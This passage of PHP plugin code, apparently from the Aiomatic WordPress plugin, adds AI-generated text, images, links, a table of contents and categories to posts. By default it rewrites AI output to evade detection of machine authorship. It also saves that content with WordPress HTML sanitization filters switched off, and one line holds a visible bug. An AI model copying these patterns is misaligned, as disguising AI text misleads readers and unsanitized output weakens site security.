                                                        aiomatic_log_to_file('Empty API title seed expression provided(7)! ' . print_r($title_ai_command, true));
                                                    }
                                                    else
                                                    {
                                                        $query_token_count = count(aiomatic_encode($title_ai_command));
                                                        $available_tokens = aiomatic_compute_available_tokens($kw_model, $max_tokens, $title_ai_command, $query_token_count);
                                                        if($available_tokens <= AIOMATIC_MINIMUM_TOKENS_FOR_COMPLETIONS)
                                                        {
                                                            $string_len = strlen($title_ai_command);
                                                            $string_len = $string_len / 2;
                                                            $string_len = intval(0 - $string_len);
                                                            $title_ai_command = aiomatic_substr($title_ai_command, 0, $string_len);
                                                            $title_ai_command = trim($title_ai_command);
                                                            $query_token_count = count(aiomatic_encode($title_ai_command));
                                                            $available_tokens = $max_tokens - $query_token_count;
                                                        }
                                                        if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) 
                                                        {
                                                            $api_service = aiomatic_get_api_service($token, $kw_model);
                                                            aiomatic_log_to_file('Calling ' . $api_service . ' (' . $keyword_assistant_id . '\\' . $kw_model . ') for title text2: ' . $title_ai_command);
                                                        }
                                                        $aierror = '';
                                                        $finish_reason = '';
                                                        $generated_text = aiomatic_generate_text($token, $kw_model, $title_ai_command, $available_tokens, $temperature, $top_p, $presence_penalty, $frequency_penalty, false, 'keywordCompletion', 0, $finish_reason, $aierror, true, false, false, '', '', 'user', $keyword_assistant_id, $thread_id, '', 'disabled', '', false);
                                                        if($generated_text === false)
                                                        {
                                                            aiomatic_log_to_file('Keyword generator error: ' . $aierror);
                                                            $ai_title = '';
                                                        }
                                                        else
                                                        {
                                                            $ai_title = trim(trim(trim(trim($generated_text), '.'), ' “â€â€˜â€™"\''));
                                                            $ai_titles = explode(',', $ai_title);
                                                            foreach($ai_titles as $query_words)
                                                            {
                                                                $z_img = aiomatic_get_free_image($aiomatic_Main_Settings, trim($query_words), $img_attr, 10, false, $raw_img_list, array(), $full_result_list);
                                                                if(!empty($z_img))
                                                                {
                                                                    $added_images++;
                                                                    $added_img_list[] = $z_img;
                                                                    $temp_get_img = $z_img;
                                                                    if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) {
                                                                        aiomatic_log_to_file('Royalty Free Image Generated with help of AI (kw: "' . $query_words . '"): ' . $z_img);
                                                                    }
                                                                    break;
                                                                }
                                                            }
                                                        }
                                                        if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) 
                                                        {
                                                            $api_service = aiomatic_get_api_service($token, $kw_model);
                                                            aiomatic_log_to_file('Successfully got API keyword result from ' . $api_service . ': ' . $ai_title);
                                                        }
                                                    }
                                                }
                                            }
                                            if(empty($temp_get_img))
                                            {
                                                $keyword_class = new Aiomatic_keywords();
                                                $query_words = $keyword_class->keywords($image_query, 2);
                                                $temp_img_attr = '';
                                                $temp_get_img = aiomatic_get_free_image($aiomatic_Main_Settings, $query_words, $temp_img_attr, 10, false, $raw_img_list, array(), $full_result_list);
                                                if($temp_get_img == '' || $temp_get_img === false)
                                                {
                                                    $query_words = $keyword_class->keywords($image_query, 1);
                                                    $temp_get_img = aiomatic_get_free_image($aiomatic_Main_Settings, $query_words, $temp_img_attr, 20, false, $raw_img_list, array(), $full_result_list);
                                                    if($temp_get_img == '' || $temp_get_img === false)
                                                    {
                                                        $temp_get_img = '';
                                                    }
                                                    else
                                                    {
                                                        if(!in_array($temp_get_img, $added_img_list))
                                                        {
                                                            $added_images++;
                                                            $added_img_list[] = $temp_get_img;
                                                        }
                                                        else
                                                        {
                                                            $temp_get_img = '';
                                                        }
                                                    }
                                                }
                                                else
                                                {
                                                    if(!in_array($temp_get_img, $added_img_list))
                                                    {
                                                        $added_images++;
                                                        $added_img_list[] = $temp_get_img;
                                                    }
                                                    else
                                                    {
                                                        $temp_get_img = '';
                                                    }
                                                }
                                            }
                                        }
                                    }
                                    if($heading_val != '')
                                    {
                                        $ai_created_data = $heading_val . ' ' . $ai_created_data;
                                    }
                                    if($temp_get_img != '')
                                    {
                                        if(isset($aiomatic_Main_Settings['copy_locally']) && $aiomatic_Main_Settings['copy_locally'] != 'disabled')
                                        {
                                            $localpath = aiomatic_copy_image_locally($temp_get_img);
                                            if($localpath !== false)
                                            {
                                                $temp_get_img = $localpath[0];
                                            }
                                        }
                                        $ai_created_data = '<img class="ximage_class" src="' . $temp_get_img . '" alt="' . $query_words . '">' . ' ' . $ai_created_data;
                                    }
                                }
                            }
                            if ($videos == 'on') 
                            {
                                $new_vid = aiomoatic_get_video(trim(stripslashes(str_replace('"', '"', $post_title))));
                                if($new_vid !== false)
                                {
                                    $ai_created_data .= $new_vid;
                                }
                            }
                            $final_excerpt = $post->post_excerpt;
                            $final_title = $post->post_title;
                            if($ai_created_data != false && $ai_created_data != '')
                            {
                                if (!isset($aiomatic_Main_Settings['no_undetectibility']) || $aiomatic_Main_Settings['no_undetectibility'] != 'on') 
                                {
                                    $ai_created_data = aiomatic_remove_parasite_phrases($ai_created_data);
                                    $rand_percentage = rand(10, 20);
                                    if(!isset($xchars))
                                    {
                                        $xchars = array();
                                    }
                                    $ai_created_data = aiomatic_make_unique($ai_created_data, $xchars, $rand_percentage);
                                }
                                if (isset($aiomatic_Spinner_Settings['preppend_add']) && $aiomatic_Spinner_Settings['preppend_add'] != '')
                                {
                                    $preppend_add = replaceAIPostShortcodes($aiomatic_Spinner_Settings['preppend_add'], $post_link, $post_title, $blog_title, $post->post_excerpt, $final_content, $user_name, $featured_image, $post_cats, $post_tagz, $post->ID, '', '', '', '', '', '');
                                    $ai_created_data = $preppend_add . $ai_created_data;
                                }
                                if (isset($aiomatic_Spinner_Settings['append_add']) && $aiomatic_Spinner_Settings['append_add'] != '')
                                {
                                    $append_add = replaceAIPostShortcodes($aiomatic_Spinner_Settings['append_add'], $post_link, $post_title, $blog_title, $post->post_excerpt, $final_content, $user_name, $featured_image, $post_cats, $post_tagz, $post->ID, '', '', '', '', '', '');
                                    $ai_created_data = $ai_created_data . $append_add;
                                }
                                if (isset($aiomatic_Spinner_Settings['append_spintax']) && $aiomatic_Spinner_Settings['append_spintax'] == 'append') 
                                {
                                    if (isset($aiomatic_Spinner_Settings['append_location']) && $aiomatic_Spinner_Settings['append_location'] == 'title')
                                    {
                                        $final_title = $final_title . ' ' . $ai_created_data;
                                    }
                                    elseif (isset($aiomatic_Spinner_Settings['append_location']) && $aiomatic_Spinner_Settings['append_location'] == 'excerpt')
                                    {
                                        $final_excerpt = $final_excerpt . ' ' . $ai_created_data;
                                    }
                                    else
                                    {
                                        $final_content = $final_content . ' <br/> ' . $ai_created_data;
                                    }
                                    $updated = true;
                                }
                                elseif (isset($aiomatic_Spinner_Settings['append_spintax']) && $aiomatic_Spinner_Settings['append_spintax'] == 'preppend')
                                {
                                    if (isset($aiomatic_Spinner_Settings['append_location']) && $aiomatic_Spinner_Settings['append_location'] == 'title')
                                    {
                                        $final_title = $ai_created_data . ' ' . $final_title;
                                    }
                                    elseif (isset($aiomatic_Spinner_Settings['append_location']) && $aiomatic_Spinner_Settings['append_location'] == 'excerpt')
                                    {
                                        $final_excerpt = $ai_created_data . ' ' . $final_excerpt;
                                    }
                                    else
                                    {
                                        $final_content = $ai_created_data . ' <br/> ' . $final_content;
                                    }
                                    $updated = true;
                                }
                                elseif (isset($aiomatic_Spinner_Settings['append_spintax']) && $aiomatic_Spinner_Settings['append_spintax'] == 'inside')
                                {
                                    if (isset($aiomatic_Spinner_Settings['append_location']) && $aiomatic_Spinner_Settings['append_location'] == 'title')
                                    {
                                        $final_title = aiomatic_insert_ai_content($final_title, $ai_created_data);
                                    }
                                    elseif (isset($aiomatic_Spinner_Settings['append_location']) && $aiomatic_Spinner_Settings['append_location'] == 'excerpt')
                                    {
                                        $final_excerpt = aiomatic_insert_ai_content($final_excerpt, $ai_created_data);
                                    }
                                    else
                                    {
                                        $final_content = aiomatic_insert_ai_content($final_content, $ai_created_data);
                                    }
                                    $updated = true;
                                }
                            }
                            if($updated == true)
                            {
                                $args = array();
                                $args['ID'] = $post->ID;
                                if (isset($aiomatic_Spinner_Settings['append_location']) && $aiomatic_Spinner_Settings['append_location'] == 'title')
                                {
                                    if (isset($aiomatic_Main_Settings['swear_filter']) && $aiomatic_Main_Settings['swear_filter'] == 'on') 
                                    {
                                        require_once(dirname(__FILE__) . "/res/swear.php");
                                        $final_title = aiomatic_filterwords($final_title);
                                    }
                                    $args['post_title'] = $final_title;
                                }
                                elseif (isset($aiomatic_Spinner_Settings['append_location']) && $aiomatic_Spinner_Settings['append_location'] == 'excerpt')
                                {
                                    if (isset($aiomatic_Main_Settings['swear_filter']) && $aiomatic_Main_Settings['swear_filter'] == 'on') 
                                    {
                                        require_once(dirname(__FILE__) . "/res/swear.php");
                                        $final_excerpt = aiomatic_filterwords($final_excerpt);
                                    }
                                    $args['post_excerpt'] = $final_excerpt;
                                }
                                else
                                {
                                    if (isset($aiomatic_Main_Settings['swear_filter']) && $aiomatic_Main_Settings['swear_filter'] == 'on') 
                                    {
                                        require_once(dirname(__FILE__) . "/res/swear.php");
                                        $final_content = aiomatic_filterwords($final_content);
                                    }
                                    $args['post_content'] = $final_content;
                                }
                                if (isset($aiomatic_Spinner_Settings['change_status']) && $aiomatic_Spinner_Settings['change_status'] != '' && $aiomatic_Spinner_Settings['change_status'] != 'no') 
                                {
                                    $args['post_status'] = $aiomatic_Spinner_Settings['change_status'];
                                }
                                remove_filter('content_save_pre', 'wp_filter_post_kses');
                                remove_filter('content_filtered_save_pre', 'wp_filter_post_kses');
                                remove_filter('title_save_pre', 'wp_filter_kses');
                                update_post_meta($post->ID, $custom_name, "pub");
                                $post_updated = wp_update_post($args);
                                add_filter('content_save_pre', 'wp_filter_post_kses');
                                add_filter('content_filtered_save_pre', 'wp_filter_post_kses');
                                add_filter('title_save_pre', 'wp_filter_kses');
                                if (is_wp_error($post_updated)) {
                                    $errors = $post_updated->get_error_messages();
                                    foreach ($errors as $error) {
                                        aiomatic_log_to_file('Error occured while updating post for AI content "' . $post->post_title . '": ' . $error);
                                    }
                                }
                                else
                                {
                                    if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) {
                                        aiomatic_log_to_file('Post ID ' . $post->ID . ' "' . $post->post_title . '" was successfully updated with AI generated content.');
                                    }
                                }
                            }
                        }
                        if (isset($aiomatic_Spinner_Settings['add_links']) && $aiomatic_Spinner_Settings['add_links'] != '' && $aiomatic_Spinner_Settings['add_links'] != 'disabled')
                        {
                            if(!function_exists('is_plugin_active'))
                            {
                                include_once( ABSPATH . 'wp-admin/includes/plugin.php' );
                            }
                            if (isset($aiomatic_Spinner_Settings['link_method']) && $aiomatic_Spinner_Settings['link_method'] == 'linkjuicer' && (is_plugin_active('internal-links/wp-internal-linkjuicer.php') || is_plugin_active('internal-links-premium/wp-internal-linkjuicer.php')))
                            {
                                $vision_file = '';
                                if (isset($aiomatic_Spinner_Settings['ai_vision_link_juicer']) && $aiomatic_Spinner_Settings['ai_vision_link_juicer'] == 'on')
                                {
                                    $avatar = get_the_post_thumbnail_url($post->ID, 'post-thumbnail');
                                    if($avatar !== false)
                                    {
                                        $vision_file = $avatar;
                                    }
                                }
                                if (isset($aiomatic_Spinner_Settings['link_juicer_prompt']) && $aiomatic_Spinner_Settings['link_juicer_prompt'] != '')
                                {
                                    $link_juicer_prompt = $aiomatic_Spinner_Settings['link_juicer_prompt'];
                                }
                                else
                                {
                                    $link_juicer_prompt = 'Generate a comma-separated list of relevant keywords for the post title (for use in the Link Juicer plugin): "%%post_title%%".';
                                }
                                $link_juicer_prompt = aiomatic_replaceSynergyShortcodes($link_juicer_prompt);
                                
                                $post_link = get_permalink($post->ID);
                                $blog_title       = html_entity_decode(get_bloginfo('title'));
                                $author_obj       = get_user_by('id', $post->post_author);
                                $user_name        = $author_obj->user_nicename;
                                $featured_image   = '';
                                wp_suspend_cache_addition(true);
                                $metas = get_post_custom($post->ID);
                                wp_suspend_cache_addition(false);
                                if(is_array($metas))
                                {
                                    $rez_meta = aiomatic_preg_grep_keys('#.+?_featured_ima?ge?#i', $metas);
                                }
                                else
                                {
                                    $rez_meta = array();
                                }
                                if(count($rez_meta) > 0)
                                {
                                    foreach($rez_meta as $rm)
                                    {
                                        if(isset($rm[0]) && filter_var($rm[0], FILTER_VALIDATE_URL))
                                        {
                                            $featured_image = $rm[0];
                                            break;
                                        }
                                    }
                                }
                                if($featured_image == '')
                                {
                                    $featured_image = aiomatic_generate_thumbmail($post->ID);
                                }
                                if($featured_image == '' && $final_content != '')
                                {
                                    $dom     = new DOMDocument();
                                    $internalErrors = libxml_use_internal_errors(true);
                                    $dom->loadHTML($final_content);
                                    libxml_use_internal_errors($internalErrors);
                                    $tags      = $dom->getElementsByTagName('img');
                                    foreach ($tags as $tag) {
                                        $temp_get_img = $tag->getAttribute('src');
                                        if ($temp_get_img != '') {
                                            $temp_get_img = strtok($temp_get_img, '?');
                                            $featured_image = rtrim($temp_get_img, '/');
                                        }
                                    }
                                }
                                $post_cats = '';
                                $post_categories = wp_get_post_categories( $post->ID );
                                foreach($post_categories as $c){
                                    $cat = get_category( $c );
                                    $post_cats .= $cat->name . ',';
                                }
                                $post_cats = trim($post_cats, ',');
                                if($post_cats != '')
                                {
                                    $post_categories = explode(',', $post_cats);
                                }
                                else
                                {
                                    $post_categories = array();
                                }
                                if(count($post_categories) == 0)
                                {
                                    $terms = get_the_terms( $post->ID, 'product_cat' );
                                    if ( ! empty( $terms ) && ! is_wp_error( $terms ) ){
                                        foreach ( $terms as $term ) {
                                            $post_categories[] = $term->slug;
                                        }
                                        $post_cats = implode(',', $post_categories);
                                    }
                                    
                                }
                                foreach($post_categories as $pc)
                                {
                                    if (!$manual && isset($aiomatic_Spinner_Settings['disabled_categories']) && !empty($aiomatic_Spinner_Settings['disabled_categories'])) {
                                        foreach($aiomatic_Spinner_Settings['disabled_categories'] as $disabled_cat)
                                        {
                                            if($manual != true && trim($pc) == get_cat_name($disabled_cat))
                                            {
                                                if (isset($aiomatic_Main_Settings['enable_detailed_logging']) && $aiomatic_Main_Settings['enable_detailed_logging'] == 'on') 
                                                {
                                                    aiomatic_log_to_file('Skipping post, has a disabled category (' . get_cat_name($disabled_cat) . '): ' . $post->post_title);
                                                }
                                                return;
                                            }
                                        }
                                    }
                                }
                                $post_tagz = '';
                                $post_tags = wp_get_post_tags( $post->ID );
                                foreach($post_tags as $t){
                                    $post_tagz .= $t->name . ',';
                                }
                                $post_tagz = trim($post_tagz, ',');
                                if($post_tagz != '')
                                {
                                    $post_tags = explode(',', $post_tagz);
                                }
                                else
                                {
                                    $post_tags = array();
                                }
                                if(count($post_tags) == 0)
                                {
                                    $terms = get_the_terms( $post->ID, 'product_tag' );
                                    if ( ! empty( $terms ) && ! is_wp_error( $terms ) ){
                                        foreach ( $terms as $term ) {
                                            $post_tags[] = $term->slug;
                                        }
                                        $post_tagz = implode(',', $post_tags);
                                    }
                                    
                                }
                                foreach($post_tags as $pt)
                                {
                                    if (!$manual && isset($aiomatic_Spinner_Settings['disable_tags']) && $aiomatic_Spinner_Settings['disable_tags'] != '') {
                                        
                                        $disable_tags = explode(",", $aiomatic_Spinner_Settings['disable_tags']);
                                        foreach($disable_tags as $disabled_tag)
                                        {
                                            if($manual != true && trim($pt) == trim($disabled_tag))
                                            {
                                                if (isset($aiomatic_Main_Settings['enable_detailed_logging']) && $aiomatic_Main_Settings['enable_detailed_logging'] == 'on') 
                                                {
                                                    aiomatic_log_to_file('Skipping post, has a disabled tag: ' . $post->post_title);
                                                }
                                                return;
                                            }
                                        }
                                    }
                                }
                                $link_juicer_prompt = replaceAIPostShortcodes($link_juicer_prompt, $post_link, $post_title, $blog_title, $post->post_excerpt, $final_content, $user_name, $featured_image, $post_cats, $post_tagz, $post->ID, '', '', '', '', '', '');
                                $link_juicer_prompt = trim($link_juicer_prompt);
                                if (isset($aiomatic_Spinner_Settings['link_juicer_model']) && $aiomatic_Spinner_Settings['link_juicer_model'] != '') {
                                    $cmodel = $aiomatic_Spinner_Settings['link_juicer_model'];
                                }
                                else
                                {
                                    $cmodel = get_default_model_name($aiomatic_Main_Settings);
                                }
                                if (isset($aiomatic_Spinner_Settings['link_juicer_assistant_id']) && $aiomatic_Spinner_Settings['link_juicer_assistant_id'] != '') {
                                    $link_juicer_assistant_id = $aiomatic_Spinner_Settings['link_juicer_assistant_id'];
                                }
                                else
                                {
                                    $link_juicer_assistant_id = '';
                                }
                                preg_match_all('#\s*(\d+)\s*-\s*(\d+)\s*#', $max_cats, $mxatches);
                                if(isset($mxatches[2][0]))
                                {
                                    $minx = $mxatches[1][0];
                                    $maxx = $mxatches[2][0];
                                    $max_cats = rand(intval($minx), intval($maxx));
                                }
                                else
                                {
                                    $max_cats = intval($max_cats);
                                }
                                $author_obj       = get_user_by('id', $post->post_author);
                                if(isset($author_obj->user_nicename))
                                {
                                    $xuser_name        = $author_obj->user_nicename;
                                }
                                else
                                {
                                    $xuser_name        = 'Administrator';
                                }
                                $xpost_link        = get_permalink($post->ID);
                                $link_juicer_prompt_new = $link_juicer_prompt;
                                $userid = false;
                                $date       = date('Y-m-d H:i:s', strtotime(current_time('mysql')));
                                $query_token_count = count(aiomatic_encode($link_juicer_prompt_new));
                                if($query_token_count > $max_seed_tokens)
                                {
                                    $link_juicer_prompt_new = aiomatic_substr($link_juicer_prompt_new, 0, (0-($max_seed_tokens * 4)));
                                    $query_token_count = count(aiomatic_encode($link_juicer_prompt_new));
                                }
                                $available_tokens = aiomatic_compute_available_tokens($cmodel, $max_tokens, $link_juicer_prompt_new, $query_token_count);
                                $max_result_tokens = AIOMATIC_DEFAULT_MAX_TOKENS;
                                if($available_tokens > $max_result_tokens)
                                {
                                    $available_tokens = $max_result_tokens;
                                }
                                if($available_tokens <= AIOMATIC_MINIMUM_TOKENS_FOR_COMPLETIONS)
                                {
                                    $string_len = strlen($link_juicer_prompt_new);
                                    $string_len = $string_len / 2;
                                    $string_len = intval(0 - $string_len);
                                    $link_juicer_prompt_new = aiomatic_substr($link_juicer_prompt_new, 0, $string_len);
                                    $link_juicer_prompt_new = trim(link_juicer_prompt_new);
                                    if(empty(link_juicer_prompt_new))
                                    {
                                        aiomatic_log_to_file('Empty API seed expression provided (after processing) ' . print_r($link_juicer_prompt_new, true));
                                    }
                                    $query_token_count = count(aiomatic_encode($link_juicer_prompt_new));
                                    $available_tokens = $max_tokens - $query_token_count;
                                }
                                if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) 
                                {
                                    $api_service = aiomatic_get_api_service($token, $cmodel);
                                    aiomatic_log_to_file('Calling ' . $api_service . ' (' . $link_juicer_assistant_id . '\\' . $cmodel . ') post Link Juicer keyword generator, with seed command: ' . $link_juicer_prompt_new);
                                }
                                $aierror = '';
                                $extra_kws = '';
                                $finish_reason = '';
                                $generated_text = aiomatic_generate_text($token, $cmodel, $link_juicer_prompt_new, $available_tokens, $temperature, $top_p, $presence_penalty, $frequency_penalty, false, 'linkJuicerKeywordGenerator', 0, $finish_reason, $aierror, true, false, false, $vision_file, '', 'user', $link_juicer_assistant_id, $thread_id, '', 'disabled', '', false);
                                if($generated_text === false)
                                {
                                    aiomatic_log_to_file('Link Juicer keyword generator error: ' . $aierror);
                                }
                                else
                                {
                                    $extra_kws = ucfirst(trim(nl2br(trim($generated_text))));
                                    $extra_kws = str_replace('//', '', $extra_kws);
                                }
                                if (isset($aiomatic_Main_Settings['enable_detailed_logging']) && trim($extra_kws) !== '') 
                                {
                                    $api_service = aiomatic_get_api_service($token, $cmodel);
                                    aiomatic_log_to_file($api_service . ' responded successfully, Link Juicer keyword generated for post ID ' . $post->ID . ': ' . $extra_kws, true);
                                }
                                if($extra_kws != '')
                                {
                                    $link_juicer_arr = explode(',', $extra_kws);
                                    update_post_meta( $post->ID, 'ilj_linkdefinition', $link_juicer_arr);
                                    do_action(
                                        'ilj_after_keywords_update',
                                        $post->ID,
                                        'post',
                                        $post->post_status
                                    );
                                }
                            }
                            else
                            {
                                if (isset($aiomatic_Spinner_Settings['max_links']) && $aiomatic_Spinner_Settings['max_links'] != '')
                                {
                                    $max_links = trim($aiomatic_Spinner_Settings['max_links']);
                                }
                                else
                                {
                                    $max_links = '3-5';
                                }
                                if (isset($aiomatic_Spinner_Settings['link_post_types']) && $aiomatic_Spinner_Settings['link_post_types'] != '')
                                {
                                    $link_post_types = trim($aiomatic_Spinner_Settings['link_post_types']);
                                }
                                else
                                {
                                    $link_post_types = 'post';
                                }
                                if (isset($aiomatic_Spinner_Settings['link_nofollow']) && $aiomatic_Spinner_Settings['link_nofollow'] != '')
                                {
                                    $link_nofollow = trim($aiomatic_Spinner_Settings['link_nofollow']);
                                }
                                else
                                {
                                    $link_nofollow = 'post';
                                }
                                if (isset($aiomatic_Spinner_Settings['link_type']) && $aiomatic_Spinner_Settings['link_type'] != '') 
                                {
                                    $link_type = $aiomatic_Spinner_Settings['link_type'];
                                }
                                else
                                {
                                    $link_type = 'internal';
                                }
                                if (isset($aiomatic_Spinner_Settings['link_list']) && !empty($aiomatic_Spinner_Settings['link_list'])) 
                                {
                                    $link_list = $aiomatic_Spinner_Settings['link_list'];
                                }
                                else
                                {
                                    $link_list = '';
                                }
                                $zlang = 'en_US';
                                if (isset($aiomatic_Main_Settings['kw_lang']) && !empty($aiomatic_Main_Settings['kw_lang'])) 
                                {
                                    $zlang = $aiomatic_Main_Settings['kw_lang'];
                                }
                                $rel_search = array('post_title', 'post_content');
                                if (isset($aiomatic_Main_Settings['rel_search']) && is_array($aiomatic_Main_Settings['rel_search'])) 
                                {
                                    $rel_search = $aiomatic_Main_Settings['rel_search'];
                                }
                                if($max_links !== '')
                                {
                                    preg_match_all('#\s*(\d+)\s*-\s*(\d+)\s*#', $max_links, $mxatches);
                                    if(isset($mxatches[2][0]))
                                    {
                                        $min = $mxatches[1][0];
                                        $max = $mxatches[2][0];
                                        $max_links = rand(intval($min), intval($max));
                                    }
                                    else
                                    {
                                        $max_links = intval($max_links);
                                    }
                                    require_once(dirname(__FILE__) . "/res/InboundLinks.php");
                                    $inboundlinker = new AiomaticAutoInboundLinks();
                                    try
                                    {
                                        $final_content_links = $inboundlinker->add_inbound_links($final_content, $max_links, $link_post_types, $zlang, $rel_search, $post->ID, $link_type, $link_list, $link_nofollow);
                                        if(!empty($final_content_links) && $final_content_links != $final_content)
                                        {
                                            $final_content = $final_content_links;
                                            $args = array();
                                            $args['ID'] = $post->ID;
                                            $args['post_content'] = $final_content_links;
                                            if (isset($aiomatic_Spinner_Settings['change_status']) && $aiomatic_Spinner_Settings['change_status'] != '' && $aiomatic_Spinner_Settings['change_status'] != 'no') 
                                            {
                                                $args['post_status'] = $aiomatic_Spinner_Settings['change_status'];
                                            }
                                            remove_filter('content_save_pre', 'wp_filter_post_kses');
                                            remove_filter('content_filtered_save_pre', 'wp_filter_post_kses');
                                            remove_filter('title_save_pre', 'wp_filter_kses');
                                            update_post_meta($post->ID, $custom_name, "pub");
                                            $post_updated = wp_update_post($args);
                                            add_filter('content_save_pre', 'wp_filter_post_kses');
                                            add_filter('content_filtered_save_pre', 'wp_filter_post_kses');
                                            add_filter('title_save_pre', 'wp_filter_kses');
                                            if (is_wp_error($post_updated)) {
                                                $errors = $post_updated->get_error_messages();
                                                foreach ($errors as $error) {
                                                    aiomatic_log_to_file('Error occured while updating post for internal links "' . $post->post_title . '": ' . $error);
                                                }
                                            }
                                            else
                                            {
                                                if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) {
                                                    aiomatic_log_to_file('Post ID ' . $post->ID . ' "' . $post->post_title . '" was successfully updated with internal links.');
                                                }
                                            }
                                        }
                                    }
                                    catch(Exception $ex)
                                    {
                                        if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) {
                                            aiomatic_log_to_file('Failed to automatically add new inbound links to content: ' . $ex->getMessage());
                                        }
                                    }
                                }
                            }
                        }
                        if (isset($aiomatic_Spinner_Settings['append_toc']) && $aiomatic_Spinner_Settings['append_toc'] != '' && $aiomatic_Spinner_Settings['append_toc'] != 'disabled')
                        {
                            $updated = false;
                            $items               = '';
                            $find                = [];
                            $replace             = [];
                            $css_classes = '';
                            $items = aiomatic_extract_headings( $find, $replace, $final_content );
                            if ( $items ) 
                            {
                                if (isset($aiomatic_Spinner_Settings['float_toc']) && $aiomatic_Spinner_Settings['float_toc'] != '' && $aiomatic_Spinner_Settings['float_toc'] != 'none')
                                {
                                    switch ( $aiomatic_Spinner_Settings['float_toc'] ) 
                                    {
                                        case 'left':
                                            $css_classes .= ' aiomatic_toc_wrap_left';
                                            break;
            
                                        case 'right':
                                            $css_classes .= ' aiomatic_toc_wrap_right';
                                            break;
            
                                        case 'none':
                                        default:
                                    }
                                }
            
                                if (isset($aiomatic_Spinner_Settings['color_toc']) && $aiomatic_Spinner_Settings['color_toc'] != '' && $aiomatic_Spinner_Settings['color_toc'] != 'gray')
                                {
                                    switch ( $aiomatic_Spinner_Settings['color_toc'] ) 
                                    {
                                        case 'blue':
                                            $css_classes .= ' aiomatic_toc_light_blue';
                                            break;
            
                                        case 'white':
                                            $css_classes .= ' aiomatic_toc_white';
                                            break;
            
                                        case 'black':
                                            $css_classes .= ' aiomatic_toc_black';
                                            break;
            
                                        case 'transparent':
                                            $css_classes .= ' aiomatic_toc_transparent';
                                            break;
            
                                        case 'gray':
                                        default:
                                    }
                                }
                                $css_classes = trim( $css_classes );
                                if ( ! $css_classes ) 
                                {
                                    $css_classes = ' ';
                                }
                                $html = '<div id="aiomatic_toc_container" class="' . htmlentities( $css_classes, ENT_COMPAT, 'UTF-8' ) . '">';
                                if (isset($aiomatic_Spinner_Settings['title_toc']) && trim($aiomatic_Spinner_Settings['title_toc']) != '')
                                {
                                    $toc_title = trim($aiomatic_Spinner_Settings['title_toc']);
                                }
                                else
                                {
                                    $toc_title = 'Table of Contents';
                                }
                                $toc_title = htmlentities( $toc_title, ENT_COMPAT, 'UTF-8' );
                                $html .= '<p class="aiomatic_toc_title">' . $toc_title . '</p>';
                                $html .= '<ul class="aiomatic_toc_list">' . $items . '</ul></div>' . "\n";
                                $toc_location = $aiomatic_Spinner_Settings['append_toc'];
                                if ( count( $find ) > 0 ) 
                                {
                                    switch ( $toc_location ) 
                                    {
                                        case 'preppend':
                                            $final_content = $html . aiomatic_mb_find_replace( $find, $replace, $final_content );
                                            $updated = true;
                                            break;
            
                                        case 'append':
                                            $final_content = aiomatic_mb_find_replace( $find, $replace, $final_content ) . $html;
                                            $updated = true;
                                            break;
            
                                        case 'heading2':
                                            $replace[0] = $replace[0] . $html;
                                            $final_content    = aiomatic_mb_find_replace( $find, $replace, $final_content );
                                            $updated = true;
                                            break;
            
                                        case 'heading':
                                        default:
                                            $replace[0] = $html . $replace[0];
                                            $final_content    = aiomatic_mb_find_replace( $find, $replace, $final_content );
                                            $updated = true;
                                    }
                                }
            				}
                            if($updated == true)
                            {
                                $args = array();
                                $args['ID'] = $post->ID;
                                $args['post_content'] = $final_content;
                                if (isset($aiomatic_Spinner_Settings['change_status']) && $aiomatic_Spinner_Settings['change_status'] != '' && $aiomatic_Spinner_Settings['change_status'] != 'no') 
                                {
                                    $args['post_status'] = $aiomatic_Spinner_Settings['change_status'];
                                }
                                remove_filter('content_save_pre', 'wp_filter_post_kses');
                                remove_filter('content_filtered_save_pre', 'wp_filter_post_kses');
                                remove_filter('title_save_pre', 'wp_filter_kses');
                                update_post_meta($post->ID, $custom_name, "pub");
                                $post_updated = wp_update_post($args);
                                add_filter('content_save_pre', 'wp_filter_post_kses');
                                add_filter('content_filtered_save_pre', 'wp_filter_post_kses');
                                add_filter('title_save_pre', 'wp_filter_kses');
                                if (is_wp_error($post_updated)) {
                                    $errors = $post_updated->get_error_messages();
                                    foreach ($errors as $error) {
                                        aiomatic_log_to_file('Error occured while updating post for AI content "' . $post->post_title . '": ' . $error);
                                    }
                                }
                                else
                                {
                                    if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) {
                                        aiomatic_log_to_file('Post ID ' . $post->ID . ' "' . $post->post_title . '" was successfully updated with AI generated content.');
                                    }
                                    update_post_meta($post->ID, 'aiomatic_toc', '1');
                                }
                            }
                        }
                        if (isset($aiomatic_Spinner_Settings['add_cats']) && $aiomatic_Spinner_Settings['add_cats'] != '' && $aiomatic_Spinner_Settings['add_cats'] != 'disabled')
                        {
                            $vision_file = '';
                            if (isset($aiomatic_Spinner_Settings['max_cats']) && $aiomatic_Spinner_Settings['max_cats'] != '')
                            {
                                $max_cats = trim($aiomatic_Spinner_Settings['max_cats']);
                            }
                            else
                            {
                                $max_cats = '1';
                            }
                            if($max_cats !== '')
                            {
                                if (isset($aiomatic_Spinner_Settings['ai_vision_cat']) && $aiomatic_Spinner_Settings['ai_vision_cat'] == 'on')
                                {
                                    $avatar = get_the_post_thumbnail_url($post->ID, 'post-thumbnail');
                                    if($avatar !== false)
                                    {
                                        $vision_file = $avatar;
                                    }
                                }
                                if (isset($aiomatic_Spinner_Settings['ai_cats']) && $aiomatic_Spinner_Settings['ai_cats'] != '')
                                {
                                    $ai_cats = $aiomatic_Spinner_Settings['ai_cats'];
                                }
                                else
                                {
                                    $ai_cats = 'Write a comma separated list of 5 categories for post title: %%post_title%%';
                                }
                                $ai_cats = aiomatic_replaceSynergyShortcodes($ai_cats);
                                
                                $post_link = get_permalink($post->ID);
                                $blog_title       = html_entity_decode(get_bloginfo('title'));
                                $author_obj       = get_user_by('id', $post->post_author);
                                $user_name        = $author_obj->user_nicename;
                                $featured_image   = '';
                                wp_suspend_cache_addition(true);
                                $metas = get_post_custom($post->ID);
                                wp_suspend_cache_addition(false);
                                if(is_array($metas))
                                {
                                    $rez_meta = aiomatic_preg_grep_keys('#.+?_featured_ima?ge?#i', $metas);
                                }
                                else
                                {
                                    $rez_meta = array();
                                }
